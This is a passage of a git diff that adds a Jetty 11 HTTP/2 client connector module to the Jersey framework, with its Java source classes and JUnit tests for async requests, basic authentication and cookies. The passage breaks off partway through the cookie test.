diff --git a/connectors/jetty11-http2-connector/src/main/java/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ClientSupplier.java b/connectors/jetty11-http2-connector/src/main/java/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ClientSupplier.java
new file mode 100644
index 00000000000..454efd0db8f
--- /dev/null
+++ b/connectors/jetty11-http2-connector/src/main/java/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ClientSupplier.java
@@ -0,0 +1,59 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2.connector;
+
+import org.eclipse.jetty.client.HttpClient;
+import org.eclipse.jetty.client.HttpClientTransport;
+import org.eclipse.jetty.http2.client.HTTP2Client;
+import org.eclipse.jetty.http2.client.http.HttpClientTransportOverHTTP2;
+import org.glassfish.jersey.jetty.connector.JettyConnector;
+import org.glassfish.jersey.jetty.connector.JettyHttpClientContract;
+import org.glassfish.jersey.jetty.connector.JettyHttpClientSupplier;
+
+/**
+ * HTTP/2 enabled version of the {@link JettyHttpClientSupplier}
+ *
+ * @since 2.41
+ */
+public class JettyHttp2ClientSupplier implements JettyHttpClientContract {
+ private final HttpClient http2Client;
+
+ /**
+ * default Http2Client created for the supplier.
+ */
+ public JettyHttp2ClientSupplier() {
+ this(createHttp2Client());
+ }
+ /**
+ * supplier for the {@code HttpClient} with {@code HttpClientTransportOverHTTP2} to be optionally registered
+ * to a {@link org.glassfish.jersey.client.ClientConfig}
+ * @param http2Client a HttpClient to be supplied when {@link JettyConnector#getHttpClient()} is called.
+ */
+ public JettyHttp2ClientSupplier(HttpClient http2Client) {
+ this.http2Client = http2Client;
+ }
+
+ private static final HttpClient createHttp2Client() {
+ final HttpClientTransport transport = new HttpClientTransportOverHTTP2(new HTTP2Client());
+ return new HttpClient(transport);
+ }
+
+ @Override
+ public HttpClient getHttpClient() {
+ return http2Client;
+ }
+}
\ No newline at end of file
diff --git a/connectors/jetty11-http2-connector/src/main/java/org/glassfish/jersey/jetty/http2/connector/JettyHttp2Connector.java b/connectors/jetty11-http2-connector/src/main/java/org/glassfish/jersey/jetty/http2/connector/JettyHttp2Connector.java
new file mode 100644
index 00000000000..7f1e45dd1f4
--- /dev/null
+++ b/connectors/jetty11-http2-connector/src/main/java/org/glassfish/jersey/jetty/http2/connector/JettyHttp2Connector.java
@@ -0,0 +1,81 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2.connector;
+
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.core.Configuration;
+
+import org.eclipse.jetty.client.HttpClient;
+import org.eclipse.jetty.client.HttpClientTransport;
+import org.eclipse.jetty.http2.client.HTTP2Client;
+import org.eclipse.jetty.http2.client.http.HttpClientTransportOverHTTP2;
+import org.eclipse.jetty.io.ClientConnector;
+import org.glassfish.jersey.jetty.connector.JettyConnector;
+
+import java.util.Optional;
+
+/**
+ * Extends {@link JettyConnector} with HTTP/2 transport support
+ *
+ * @since 2.41
+ */
+class JettyHttp2Connector extends JettyConnector {
+
+
+ /**
+ * Create the new Jetty HTTP/2 client connector.
+ *
+ * @param jaxrsClient JAX-RS client instance, for which the connector is created.
+ * @param config client configuration.
+ */
+ JettyHttp2Connector(Client jaxrsClient, Configuration config) {
+ super(jaxrsClient, config);
+ }
+
+ /**
+ * provides required {@link HttpClientTransport} for client
+ *
+ * The overriden method provides {@link HttpClientTransportOverHTTP2} with initialized {@link HTTP2Client}
+ *
+ * @return {@link HttpClientTransportOverHTTP2}
+ * @since 2.41
+ */
+ @Override
+ protected HttpClientTransport initClientTransport(ClientConnector clientConnector) {
+ return new HttpClientTransportOverHTTP2(new HTTP2Client(clientConnector));
+ }
+
+ /**
+ * provides custom registered {@link HttpClient} (if any) with HTTP/2 support
+ *
+ * @param config configuration where {@link HttpClient} could be registered
+ * @return {@link HttpClient} instance if any was previously registered or NULL
+ *
+ * @since 2.41
+ */
+ @Override
+ protected HttpClient getRegisteredHttpClient(Configuration config) {
+ if (config.isRegistered(JettyHttp2ClientSupplier.class)) {
+ Optional contract = config.getInstances().stream()
+ .filter(a-> JettyHttp2ClientSupplier.class.isInstance(a)).findFirst();
+ if (contract.isPresent()) {
+ return ((JettyHttp2ClientSupplier) contract.get()).getHttpClient();
+ }
+ }
+ return null;
+ }
+}
diff --git a/connectors/jetty11-http2-connector/src/main/java/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ConnectorProvider.java b/connectors/jetty11-http2-connector/src/main/java/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ConnectorProvider.java
new file mode 100644
index 00000000000..02eaf5a81b3
--- /dev/null
+++ b/connectors/jetty11-http2-connector/src/main/java/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ConnectorProvider.java
@@ -0,0 +1,58 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2.connector;
+
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.core.Configurable;
+import jakarta.ws.rs.core.Configuration;
+import org.eclipse.jetty.client.HttpClient;
+import org.glassfish.jersey.client.Initializable;
+import org.glassfish.jersey.client.spi.Connector;
+import org.glassfish.jersey.jetty.connector.JettyConnectorProvider;
+import org.glassfish.jersey.jetty.connector.LocalizationMessages;
+
+/**
+ * Provides HTTP2 enabled version of the {@link JettyConnectorProvider} for a client
+ *
+ * @since 2.41
+ */
+public class JettyHttp2ConnectorProvider extends JettyConnectorProvider {
+ @Override
+ public Connector getConnector(Client client, Configuration runtimeConfig) {
+ return new JettyHttp2Connector(client, runtimeConfig);
+ }
+
+ public static HttpClient getHttpClient(Configurable> component) {
+ if (!(component instanceof Initializable)) {
+ throw new IllegalArgumentException(
+ LocalizationMessages.INVALID_CONFIGURABLE_COMPONENT_TYPE(component.getClass().getName()));
+ }
+
+ final Initializable> initializable = (Initializable>) component;
+ Connector connector = initializable.getConfiguration().getConnector();
+ if (connector == null) {
+ initializable.preInitialize();
+ connector = initializable.getConfiguration().getConnector();
+ }
+
+ if (connector instanceof JettyHttp2Connector) {
+ return ((JettyHttp2Connector) connector).getHttpClient();
+ }
+
+ throw new IllegalArgumentException(LocalizationMessages.EXPECTED_CONNECTOR_PROVIDER_NOT_USED());
+ }
+}
\ No newline at end of file
diff --git a/connectors/jetty11-http2-connector/src/main/java/org/glassfish/jersey/jetty/http2/connector/package-info.java b/connectors/jetty11-http2-connector/src/main/java/org/glassfish/jersey/jetty/http2/connector/package-info.java
new file mode 100644
index 00000000000..960bbb656b9
--- /dev/null
+++ b/connectors/jetty11-http2-connector/src/main/java/org/glassfish/jersey/jetty/http2/connector/package-info.java
@@ -0,0 +1,21 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+/**
+ * Jersey HTTP2 client {@link org.glassfish.jersey.client.spi.Connector connector} based on the
+ * Jetty Client.
+ */
+package org.glassfish.jersey.jetty.http2.connector;
diff --git a/connectors/jetty11-http2-connector/src/main/resources/org/glassfish/jersey/jetty/http2/connector/localization.properties b/connectors/jetty11-http2-connector/src/main/resources/org/glassfish/jersey/jetty/http2/connector/localization.properties
new file mode 100644
index 00000000000..b219ef9ce54
--- /dev/null
+++ b/connectors/jetty11-http2-connector/src/main/resources/org/glassfish/jersey/jetty/http2/connector/localization.properties
@@ -0,0 +1,21 @@
+#
+# Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+#
+# This program and the accompanying materials are made available under the
+# terms of the Eclipse Public License v. 2.0, which is available at
+# http://www.eclipse.org/legal/epl-2.0.
+#
+# This Source Code may also be made available under the following Secondary
+# Licenses when the conditions for such availability set forth in the
+# Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+# version 2 with the GNU Classpath Exception, which is available at
+# https://www.gnu.org/software/classpath/license.html.
+#
+# SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+#
+
+# {0} - HTTP method, e.g. GET, DELETE
+method.not.supported=Method {0} not supported.
+invalid.configurable.component.type=The supplied component "{0}" is not assignable from Jersey11Client or JerseyWebTarget.
+expected.connector.provider.not.used=The supplied component is not configured to use a Jetty11ConnectorProvider.
+not.supported=Jetty connector is not supported on JDK version less than 11.
diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/AsyncTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/AsyncTest.java
new file mode 100644
index 00000000000..76ef67bf56c
--- /dev/null
+++ b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/AsyncTest.java
@@ -0,0 +1,193 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2.connector;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+import org.hamcrest.Matchers;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.POST;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.Entity;
+import jakarta.ws.rs.container.AsyncResponse;
+import jakarta.ws.rs.container.Suspended;
+import jakarta.ws.rs.container.TimeoutHandler;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Response;
+import java.util.concurrent.Future;
+import java.util.concurrent.TimeUnit;
+import java.util.logging.Logger;
+
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+public class AsyncTest extends JerseyTest {
+ private static final Logger LOGGER = Logger.getLogger(AsyncTest.class.getName());
+ private static final String PATH = "async";
+
+ /**
+ * Asynchronous test resource.
+ */
+ @Path(PATH)
+ public static class AsyncResource {
+ /**
+ * Typical long-running operation duration.
+ */
+ public static final long OPERATION_DURATION = 1000;
+
+ /**
+ * Long-running asynchronous post.
+ *
+ * @param asyncResponse async response.
+ * @param id post request id (received as request payload).
+ */
+ @POST
+ public void asyncPost(@Suspended final AsyncResponse asyncResponse, final String id) {
+ LOGGER.info("Long running post operation called with id " + id + " on thread " + Thread.currentThread().getName());
+ new Thread(new Runnable() {
+
+ @Override
+ public void run() {
+ String result = veryExpensiveOperation();
+ asyncResponse.resume(result);
+ }
+
+ private String veryExpensiveOperation() {
+ // ... very expensive operation that typically finishes within 1 seconds, simulated using sleep()
+ try {
+ Thread.sleep(OPERATION_DURATION);
+ return "DONE-" + id;
+ } catch (InterruptedException e) {
+ Thread.currentThread().interrupt();
+ return "INTERRUPTED-" + id;
+ } finally {
+ LOGGER.info("Long running post operation finished on thread " + Thread.currentThread().getName());
+ }
+ }
+ }, "async-post-runner-" + id).start();
+ }
+
+ /**
+ * Long-running async get request that times out.
+ *
+ * @param asyncResponse async response.
+ */
+ @GET
+ @Path("timeout")
+ public void asyncGetWithTimeout(@Suspended final AsyncResponse asyncResponse) {
+ LOGGER.info("Async long-running get with timeout called on thread " + Thread.currentThread().getName());
+ asyncResponse.setTimeoutHandler(new TimeoutHandler() {
+
+ @Override
+ public void handleTimeout(AsyncResponse asyncResponse) {
+ asyncResponse.resume(Response.status(Response.Status.SERVICE_UNAVAILABLE)
+ .entity("Operation time out.").build());
+ }
+ });
+ asyncResponse.setTimeout(1, TimeUnit.SECONDS);
+ asyncResponse.resume(Response.status(Response.Status.SERVICE_UNAVAILABLE)
+ .entity("Operation time out.").build());
+
+ new Thread(new Runnable() {
+
+ @Override
+ public void run() {
+ String result = veryExpensiveOperation();
+ asyncResponse.resume(result);
+ }
+
+ private String veryExpensiveOperation() {
+ // very expensive operation that typically finishes within 1 second but can take up to 5 seconds,
+ // simulated using sleep()
+ try {
+ Thread.sleep(5 * OPERATION_DURATION);
+ return "DONE";
+ } catch (InterruptedException e) {
+ Thread.currentThread().interrupt();
+ return "INTERRUPTED";
+ } finally {
+ LOGGER.info("Async long-running get with timeout finished on thread " + Thread.currentThread().getName());
+ }
+ }
+ }).start();
+ }
+
+ }
+
+ @Override
+ protected Application configure() {
+ return new ResourceConfig(AsyncResource.class)
+ .register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+ }
+
+ @Override
+ protected void configureClient(ClientConfig config) {
+ config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.HEADERS_ONLY));
+ config.connectorProvider(new JettyHttp2ConnectorProvider());
+ }
+
+ /**
+ * Test asynchronous POST.
+ *
+ * Send 3 async POST requests and wait to receive the responses. Check the response content and
+ * assert that the operation did not take more than twice as long as a single long operation duration
+ * (this ensures async request execution).
+ *
+ * @throws Exception in case of a test error.
+ */
+ @Test
+ public void testAsyncPost() throws Exception {
+ final long tic = System.currentTimeMillis();
+
+ // Submit requests asynchronously.
+ final Future rf1 = target(PATH).request().async().post(Entity.text("1"));
+ final Future rf2 = target(PATH).request().async().post(Entity.text("2"));
+ final Future rf3 = target(PATH).request().async().post(Entity.text("3"));
+ // get() waits for the response
+ final String r1 = rf1.get().readEntity(String.class);
+ final String r2 = rf2.get().readEntity(String.class);
+ final String r3 = rf3.get().readEntity(String.class);
+
+ final long toc = System.currentTimeMillis();
+
+ assertEquals("DONE-1", r1);
+ assertEquals("DONE-2", r2);
+ assertEquals("DONE-3", r3);
+
+ assertThat("Async processing took too long.", toc - tic, Matchers.lessThan(3 * AsyncResource.OPERATION_DURATION));
+ }
+
+ /**
+ * Test accessing an operation that times out on the server.
+ *
+ * @throws Exception in case of a test error.
+ */
+ @Test
+ public void testAsyncGetWithTimeout() throws Exception {
+ final Future responseFuture = target(PATH).path("timeout").request().async().get();
+ // Request is being processed asynchronously.
+ final Response response = responseFuture.get();
+
+ // get() waits for the response
+ assertEquals(503, response.getStatus());
+ assertEquals("Operation time out.", response.readEntity(String.class));
+ }
+}
\ No newline at end of file
diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/AuthFilterTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/AuthFilterTest.java
new file mode 100644
index 00000000000..5daad2d38c4
--- /dev/null
+++ b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/AuthFilterTest.java
@@ -0,0 +1,72 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2.connector;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.client.authentication.HttpAuthenticationFeature;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.client.Entity;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Response;
+import java.util.logging.Logger;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+public class AuthFilterTest extends JerseyTest {
+
+ private static final Logger LOGGER = Logger.getLogger(AuthFilterTest.class.getName());
+
+ @Override
+ protected Application configure() {
+ ResourceConfig config = new ResourceConfig(AuthTest.AuthResource.class);
+ config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+ return config;
+ }
+
+
+ @Override
+ protected void configureClient(ClientConfig config) {
+ config.connectorProvider(new JettyHttp2ConnectorProvider());
+ }
+
+ @Test
+ public void testAuthGetWithClientFilter() {
+ client().register(HttpAuthenticationFeature.basic("name", "password"));
+ Response response = target("test/filter").request().get();
+ assertEquals("GET", response.readEntity(String.class));
+ }
+
+ @Test
+ public void testAuthPostWithClientFilter() {
+ client().register(HttpAuthenticationFeature.basic("name", "password"));
+ Response response = target("test/filter").request().post(Entity.text("POST"));
+ assertEquals("POST", response.readEntity(String.class));
+ }
+
+
+ @Test
+ public void testAuthDeleteWithClientFilter() {
+ client().register(HttpAuthenticationFeature.basic("name", "password"));
+ Response response = target("test/filter").request().delete();
+ assertEquals(204, response.getStatus());
+ }
+
+}
\ No newline at end of file
diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/AuthTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/AuthTest.java
new file mode 100644
index 00000000000..7fe2edf6e73
--- /dev/null
+++ b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/AuthTest.java
@@ -0,0 +1,192 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2.connector;
+
+import org.eclipse.jetty.client.util.BasicAuthentication;
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.jetty.connector.JettyClientProperties;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+import org.junit.jupiter.api.Test;
+
+import jakarta.inject.Singleton;
+import jakarta.ws.rs.DELETE;
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.POST;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.WebApplicationException;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.Entity;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Context;
+import jakarta.ws.rs.core.HttpHeaders;
+import jakarta.ws.rs.core.Response;
+import java.util.logging.Logger;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+public class AuthTest extends JerseyTest {
+
+ private static final Logger LOGGER = Logger.getLogger(AuthTest.class.getName());
+ private static final String PATH = "test";
+
+ @Path("/test")
+ @Singleton
+ public static class AuthResource {
+
+ int requestCount = 0;
+
+ @GET
+ public String get(@Context HttpHeaders h) {
+ requestCount++;
+ String value = h.getRequestHeaders().getFirst("Authorization");
+ if (value == null) {
+ assertEquals(1, requestCount);
+ throw new WebApplicationException(
+ Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build());
+ } else {
+ assertTrue(requestCount > 1);
+ }
+
+ return "GET";
+ }
+
+ @GET
+ @Path("filter")
+ public String getFilter(@Context HttpHeaders h) {
+ String value = h.getRequestHeaders().getFirst("Authorization");
+ if (value == null) {
+ throw new WebApplicationException(
+ Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build());
+ }
+
+ return "GET";
+ }
+
+ @POST
+ public String post(@Context HttpHeaders h, String e) {
+ requestCount++;
+ String value = h.getRequestHeaders().getFirst("Authorization");
+ if (value == null) {
+ assertEquals(1, requestCount);
+ throw new WebApplicationException(
+ Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build());
+ } else {
+ assertTrue(requestCount > 1);
+ }
+
+ return e;
+ }
+
+ @POST
+ @Path("filter")
+ public String postFilter(@Context HttpHeaders h, String e) {
+ String value = h.getRequestHeaders().getFirst("Authorization");
+ if (value == null) {
+ throw new WebApplicationException(
+ Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build());
+ }
+
+ return e;
+ }
+
+ @DELETE
+ public void delete(@Context HttpHeaders h) {
+ requestCount++;
+ String value = h.getRequestHeaders().getFirst("Authorization");
+ if (value == null) {
+ assertEquals(1, requestCount);
+ throw new WebApplicationException(
+ Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build());
+ } else {
+ assertTrue(requestCount > 1);
+ }
+ }
+
+ @DELETE
+ @Path("filter")
+ public void deleteFilter(@Context HttpHeaders h) {
+ String value = h.getRequestHeaders().getFirst("Authorization");
+ if (value == null) {
+ throw new WebApplicationException(
+ Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build());
+ }
+ }
+
+ @DELETE
+ @Path("filter/withEntity")
+ public String deleteFilterWithEntity(@Context HttpHeaders h, String e) {
+ String value = h.getRequestHeaders().getFirst("Authorization");
+ if (value == null) {
+ throw new WebApplicationException(
+ Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build());
+ }
+
+ return e;
+ }
+ }
+
+ @Override
+ protected Application configure() {
+ ResourceConfig config = new ResourceConfig(AuthResource.class);
+ config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+ return config;
+ }
+
+ @Test
+ public void testAuthGet() {
+ ClientConfig config = new ClientConfig();
+ config.property(JettyClientProperties.PREEMPTIVE_BASIC_AUTHENTICATION,
+ new BasicAuthentication(getBaseUri(), "WallyWorld", "name", "password"));
+ config.connectorProvider(new JettyHttp2ConnectorProvider());
+ Client client = ClientBuilder.newClient(config);
+
+ Response response = client.target(getBaseUri()).path(PATH).request().get();
+ assertEquals("GET", response.readEntity(String.class));
+ client.close();
+ }
+
+ @Test
+ public void testAuthPost() {
+ ClientConfig config = new ClientConfig();
+ config.property(JettyClientProperties.PREEMPTIVE_BASIC_AUTHENTICATION,
+ new BasicAuthentication(getBaseUri(), "WallyWorld", "name", "password"));
+ config.connectorProvider(new JettyHttp2ConnectorProvider());
+ Client client = ClientBuilder.newClient(config);
+
+ Response response = client.target(getBaseUri()).path(PATH).request().post(Entity.text("POST"));
+ assertEquals("POST", response.readEntity(String.class));
+ client.close();
+ }
+
+ @Test
+ public void testAuthDelete() {
+ ClientConfig config = new ClientConfig();
+ config.property(JettyClientProperties.PREEMPTIVE_BASIC_AUTHENTICATION,
+ new BasicAuthentication(getBaseUri(), "WallyWorld", "name", "password"));
+ config.connectorProvider(new JettyHttp2ConnectorProvider());
+ Client client = ClientBuilder.newClient(config);
+
+ Response response = client.target(getBaseUri()).path(PATH).request().delete();
+ assertEquals(response.getStatus(), 204);
+ client.close();
+ }
+
+}
\ No newline at end of file
diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/CookieTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/CookieTest.java
new file mode 100644
index 00000000000..eb1c6539b42
--- /dev/null
+++ b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/CookieTest.java
@@ -0,0 +1,117 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2.connector;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.client.JerseyClient;
+import org.glassfish.jersey.client.JerseyClientBuilder;
+import org.glassfish.jersey.jetty.connector.JettyClientProperties;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Context;
+import jakarta.ws.rs.core.Cookie;
+import jakarta.ws.rs.core.HttpHeaders;
+import jakarta.ws.rs.core.NewCookie;
+import jakarta.ws.rs.core.Response;
+import java.util.logging.Logger;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertNotNull;
+import static org.junit.jupiter.api.Assertions.assertNull;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+public class CookieTest extends JerseyTest {
+
+ private static final Logger LOGGER = Logger.getLogger(CookieTest.class.getName());
+
+ @Path("/")
+ public static class CookieResource {
+ @GET
+ public Response get(@Context HttpHeaders h) {
+ Cookie c = h.getCookies().get("name");
+ String e = (c == null) ? "NO-COOKIE" : c.getValue();
+ return Response.ok(e)
+ .cookie(new NewCookie("name", "value")).build();
+ }
+ }
+
+ @Override
+ protected Application configure() {
+ ResourceConfig config = new ResourceConfig(CookieResource.class);
+ config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+ return config;
+ }
+
+ @Test
+ public void testCookieResource() {
+ ClientConfig config = new ClientConfig();
+ config.connectorProvider(new JettyHttp2ConnectorProvider());
+ Client client = ClientBuilder.newClient(config);
+ WebTarget r = client.target(getBaseUri());
+
+
+ assertEquals("NO-COOKIE", r.request().get(String.class));
+ assertEquals("value", r.request().get(String.class));
+ client.close();
+ }
+
+ @Test
+ public void testDisabledCookies() {
+ ClientConfig cc = new ClientConfig();
+ cc.property(JettyClientProperties.DISABLE_COOKIES, true);
+ cc.connectorProvider(new JettyHttp2ConnectorProvider());
+ JerseyClient client = JerseyClientBuilder.createClient(cc);
+ WebTarget r = client.target(getBaseUri());
+
+ assertEquals("NO-COOKIE", r.request().get(String.class));
+ assertEquals("NO-COOKIE", r.request().get(String.class));
+
+ final JettyHttp2Connector connector = (JettyHttp2Connector) client.getConfiguration().getConnector();
+ if (connector.getCookieStore() != null) {
+ assertTrue(connector.getCookieStore().getCookies().isEmpty());
+ } else {
+ assertNull(connector.getCookieStore());
+ }
+ client.close();
+ }
+
+ @Test
+ public void testCookies() {
+ ClientConfig cc = new ClientConfig();
+ cc.connectorProvider(new JettyHttp2ConnectorProvider());
+ JerseyClient client = JerseyClientBuilder.createClient(cc);
+ WebTarget r = client.target(getBaseUri());
+
+ assertEquals("NO-COOKIE", r.request().get(String.class));
+ assertEquals("value", r.request().get(String.class));
+
+ final JettyHttp2Connector connector = (JettyHttp2Connector) client.getConfiguration().getConnector();
